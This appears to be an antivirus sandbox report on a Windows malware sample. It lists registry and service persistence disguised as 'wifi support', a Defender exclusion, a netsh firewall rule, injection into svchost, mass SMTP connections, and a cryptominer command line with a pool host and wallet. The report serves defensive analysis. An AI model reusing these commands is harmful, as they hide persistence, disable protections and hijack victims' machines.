Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\ovkyyfgf] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ovkyyfgf] 'ImagePath' = '%WINDIR%\SysWOW64\ovkyyfgf\ipgxybqf.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\ovkyyfgf] 'ImagePath' = '%WINDIR%\SysWOW64\ovkyyfgf\ipgxybqf.exe'
Creates the following services
- 'ovkyyfgf' %WINDIR%\SysWOW64\ovkyyfgf\ipgxybqf.exe /d"<Full path to file>"
- 'ovkyyfgf' %WINDIR%\SysWOW64\ovkyyfgf\ipgxybqf.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ovkyyfgf' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\ipgxybqf.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\ipgxybqf.exe to %WINDIR%\syswow64\ovkyyfgf\ipgxybqf.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'mx#######401.gslb.pphosted.com':25
- 'no########.net.mx1.nstel.rcimx.net':25
- 'r-####6.korea.com':25
- 'ma##.#axmail.net':25
- 'mx#.#anmail.net':25
- 'in#.#anadoo.es':25
- 'mx#.##pservices.us':25
- 'mx.####tuscapital.com':25
- 'em##.freenet.de':25
- 'mx#.#ate.com':25
- 'mx###.##il.am0.yahoodns.net':25
- 'mx.##.#tinternet.com':25
- 'wo##.#-poster.info':25000
- 'fa###ool.xyz':10060
- 'mx#####.ppe-hosted.com':25
- 'ma##.###lied-info-mgmt.com':25
- 'mt##.##0.yahoodns.net':25
- 'mx#######f01.gslb.pphosted.com':25
- 'ma##.#ppendorf.de':25
- 'ma##.#ejuair.net':25
- 'so####1.sohu.com':25
- 'mx#.#aver.com':25
- 'is###dkym.com':25
- 'im###.###cel-airstreamcomm.net':25
- 'mx#.#ifty.com':25
- 'ma##.#rigolla.net':25
- 'mx####.carrierzone.com':25
- 'ASPMX.L.GOOGLE.COM':25
- 'mx#######302.gslb.pphosted.com':25
- 'mx###.##lux.xion.oxcs.net':25
- 'mx######-com.icoremail.net':25
- 'fr#####.#inamail.sina.com.cn':25
- 'mx##.mail.com':25
- 'ei####.#x.a.cloudfilter.net':25
- 'ne########.com.mx1.netcarrier.rcimx.net':25
- 'cl######e.mailcontrol.com':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'ex####l.bigpond.com':25
- 'pa####x.above.com':25
- 'tu######ta02.atlasok.com':25
- 'ma##.#-email.net':25
- 'al#######nd.com.1.arsmtp.com':25
- '17#.#13.115.157':423
- '17#.#13.115.156':423
- '80.#6.75.4':423
- '17#.#13.115.155':423
- '17#.#13.115.154':423
- '17#.#13.115.153':423
- 'mx#######101.gslb.pphosted.com':25
- 'cx#.##.#.cloudfilter.net':25
- 'mx#######b02.gslb.pphosted.com':25
- 'ma#####t1.triwest.com':25
- 'mx######91d01.pphosted.com':25
- 'ff######x-vip2.prodigy.net':25
- 'mx#######501.gslb.pphosted.com':25
- 'mx.##ala.or.jp':25
- '17#.#13.115.158':487
- 'sv####lfheim.top':443
- 'mb####.mynet.com':25
- 'na#.###.#rotection.outlook.com':25
- 'gl#########ters-org.p20.mxthunder.net':25
- 'mx.###rocuore.net':25
- 'google.com':80
- 'rn#######.eastus.cloudapp.azure.com':25
- 'mx#.########e.prod.cloud.synchronoss.net':25
- 'mx##.##a.mailcore.net':25
- 'al######x-vip1.prodigy.net':25
- 'mx#######201.gslb.pphosted.com':25
- 'mx.##s.untd.com':25
- 'mx.##stpost.net':25
- 'mx#######801.gslb.pphosted.com':25
- 'mx##.##il.icloud.com':25
- 'in###gram.com':443
- 'al#######up.com.1.arsmtp.com':25
- 'ff######x-vip1.prodigy.net':25
- 'mx#######b01.gslb.pphosted.com':25
- 'mx.####ta.toscana.it':25
- 'mx##.mb5p.com':25
- 'mx#.#angia.biz':25
- 'mx.######mail.rediff.akadns.net':25
- 'ma###esia.com':25
TCP
HTTP GET requests
- http://www.google.com/
HTTP POST requests
- http://wo##.###oster.info:25000/ via wo##.#-poster.info
Other
- 'sv####lfheim.top':443
- 'fa###ool.xyz':10060
- 'mx.##.#tinternet.com':25
- 'mx###.##il.am0.yahoodns.net':25
- 'mt##.##0.yahoodns.net':25
- 'mx#.##pservices.us':25
- 'in#.#anadoo.es':25
- 'mx#.#anmail.net':25
- 'mx#####.ppe-hosted.com':25
- 'no########.net.mx1.nstel.rcimx.net':25
- 'mx.######mail.rediff.akadns.net':25
- 'na#.###.#rotection.outlook.com':25
- 'ne########.com.mx1.netcarrier.rcimx.net':25
- 'mx######-com.icoremail.net':25
- 'fr#####.#inamail.sina.com.cn':25
- 'ASPMX.L.GOOGLE.COM':25
- 'mx####.carrierzone.com':25
- 'im###.###cel-airstreamcomm.net':25
- 'is###dkym.com':25
- 'mx#.#aver.com':25
- 'ma##.#rigolla.net':25
- 'ma##.###lied-info-mgmt.com':25
- 'mx.####ta.toscana.it':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'pa####x.above.com':25
- 'ma##.#-email.net':25
- '17#.#13.115.153':423
- '80.#6.75.4':423
- '17#.#13.115.154':423
- '17#.#13.115.155':423
- '17#.#13.115.157':423
- '17#.#13.115.156':423
- 'ff######x-vip2.prodigy.net':25
- 'mx.##ala.or.jp':25
- 'mx#######101.gslb.pphosted.com':25
- 'ma##.#ejuair.net':25
- 'cl######e.mailcontrol.com':25
- 'al#######nd.com.1.arsmtp.com':25
- 'gl#########ters-org.p20.mxthunder.net':25
- 'mx##.mb5p.com':25
- 'ff######x-vip1.prodigy.net':25
- 'in###gram.com':443
- 'al#######up.com.1.arsmtp.com':25
- 'mx.##stpost.net':25
- 'mx##.##a.mailcore.net':25
- 'al######x-vip1.prodigy.net':25
- 'rn#######.eastus.cloudapp.azure.com':25
- '17#.#13.115.158':487
- 'mx#.#angia.biz':25
- 'mb####.mynet.com':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ma##.#axmail.net
- DNS ASK be####inmoore.com
- DNS ASK no###state.net
- DNS ASK no########.net.mx1.nstel.rcimx.net
- DNS ASK be##ee.com
- DNS ASK mx#######401.gslb.pphosted.com
- DNS ASK mx#.#ate.com
- DNS ASK am####scapital.com
- DNS ASK fr##net.de
- DNS ASK em##.freenet.de
- DNS ASK ta###ova.com
- DNS ASK ep###dorf.com
- DNS ASK ma##.#ppendorf.de
- DNS ASK we##v.net
- DNS ASK ko##a.com
- DNS ASK r-####6.korea.com
- DNS ASK mx#.#anmail.net
- DNS ASK ha##ail.net
- DNS ASK in#.#anadoo.es
- DNS ASK fa###ool.xyz
- DNS ASK wo##.#-poster.info
- DNS ASK bt###ernet.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK sk#.com
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK mx.####tuscapital.com
- DNS ASK na##.com
- DNS ASK ex####l.bigpond.com
- DNS ASK ro###tmail.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK sa##el.net
- DNS ASK mx#.##pservices.us
- DNS ASK mi##ail.com
- DNS ASK mx#####.ppe-hosted.com
- DNS ASK bi##ond.net
- DNS ASK gs####icitors.com
- DNS ASK cl######e.mailcontrol.com
- DNS ASK ne###rrier.com
- DNS ASK gr###lla.net
- DNS ASK ma##.#rigolla.net
- DNS ASK ia##.org
- DNS ASK ww#.net
- DNS ASK im###.###cel-airstreamcomm.net
- DNS ASK ni##y.com
- DNS ASK mx#.#ifty.com
- DNS ASK na##r.com
- DNS ASK ex##ll.net
- DNS ASK mx#.#aver.com
- DNS ASK so##.com
- DNS ASK so####1.sohu.com
- DNS ASK je##air.net
- DNS ASK ma##.#ejuair.net
- DNS ASK my##t.com
- DNS ASK mb####.mynet.com
- DNS ASK mx####.carrierzone.com
- DNS ASK ag##og.be
- DNS ASK ev###stkc.net
- DNS ASK mx##.mail.com
- DNS ASK ne########.com.mx1.netcarrier.rcimx.net
- DNS ASK ei##om.net
- DNS ASK ei####.#x.a.cloudfilter.net
- DNS ASK pa##ell.net
- DNS ASK si##.com
- DNS ASK fr#####.#inamail.sina.com.cn
- DNS ASK ma##.com
- DNS ASK li##.com.mx
- DNS ASK ba####ostudents.net
- DNS ASK mx###.##lux.xion.oxcs.net
- DNS ASK ch##a.com
- DNS ASK mx######-com.icoremail.net
- DNS ASK mb##.com
- DNS ASK mx#######302.gslb.pphosted.com
- DNS ASK al###mail.com
- DNS ASK ho##ial.com
- DNS ASK ASPMX.L.GOOGLE.COM
- DNS ASK is###dkym.com
- DNS ASK ti##jo.com
- DNS ASK mx#.########e.prod.cloud.synchronoss.net
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK 23#.###.112.82.in-addr.arpa
- DNS ASK 23#.###.#12.82.cbl.abuseat.org
- DNS ASK google.com
- DNS ASK st###farm.com
- DNS ASK mx#######b02.gslb.pphosted.com
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK gl####rysisters.org
- DNS ASK dp#.com
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK re###fmail.com
- DNS ASK mx.######mail.rediff.akadns.net
- DNS ASK sa###cuore.net
- DNS ASK mx.###rocuore.net
- DNS ASK al#######nd.com.1.arsmtp.com
- DNS ASK co#.net
- DNS ASK al###osound.com
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK al####tenergy.com
- DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
- DNS ASK am###.plala.or.jp
- DNS ASK 23#.###.#12.82.bl.spamcop.net
- DNS ASK 23#.###.#12.82.zen.spamhaus.org
- DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
- DNS ASK mx.##ala.or.jp
- DNS ASK nd##.net
- DNS ASK gl#########ters-org.p20.mxthunder.net
- DNS ASK am###trade.com
- DNS ASK ff######x-vip2.prodigy.net
- DNS ASK at#.com
- DNS ASK mx######91d01.pphosted.com
- DNS ASK be###outh.com
- DNS ASK tr##est.com
- DNS ASK ma#####t1.triwest.com
- DNS ASK sv####lfheim.top
- DNS ASK am###tech.net
- DNS ASK mx#.#angia.biz
- DNS ASK ki###mail.com
- DNS ASK mx##.mb5p.com
- DNS ASK sb###obal.net
- DNS ASK al######x-vip1.prodigy.net
- DNS ASK lu##ku.com
- DNS ASK mx##.##a.mailcore.net
- DNS ASK go#.com
- DNS ASK rn#######.eastus.cloudapp.azure.com
- DNS ASK su###nlink.net
- DNS ASK gm##.com
- DNS ASK ma##.###lied-info-mgmt.com
- DNS ASK ma##.#-email.net
- DNS ASK at##sok.com
- DNS ASK tu######ta02.atlasok.com
- DNS ASK co##st.net
- DNS ASK pa####x.above.com
- DNS ASK ve##zon.net
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK al#######up.com.1.arsmtp.com
- DNS ASK al##xtn.com
- DNS ASK al###egroup.com
- DNS ASK us#####ro.toscana.it
- DNS ASK mx.####ta.toscana.it
- DNS ASK fa#####insurance.com
- DNS ASK mx#######b01.gslb.pphosted.com
- DNS ASK at#.net
- DNS ASK ff######x-vip1.prodigy.net
- DNS ASK sr#.com
- DNS ASK wn##.net
- DNS ASK ju##.com
- DNS ASK in###gram.com
- DNS ASK al##o.com
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK ic##ud.com
- DNS ASK mx##.##il.icloud.com
- DNS ASK we###ost.net
- DNS ASK mx.##stpost.net
- DNS ASK mx.##s.untd.com
- DNS ASK ma###esia.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\ovkyyfgf\ipgxybqf.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ovkyyfgf\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ipgxybqf.exe" %WINDIR%\SysWOW64\ovkyyfgf\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create ovkyyfgf binPath= "%WINDIR%\SysWOW64\ovkyyfgf\ipgxybqf.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description ovkyyfgf "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start ovkyyfgf' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ovkyyfgf\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ipgxybqf.exe" %WINDIR%\SysWOW64\ovkyyfgf\
- '%WINDIR%\syswow64\sc.exe' create ovkyyfgf binPath= "%WINDIR%\SysWOW64\ovkyyfgf\ipgxybqf.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description ovkyyfgf "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start ovkyyfgf
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
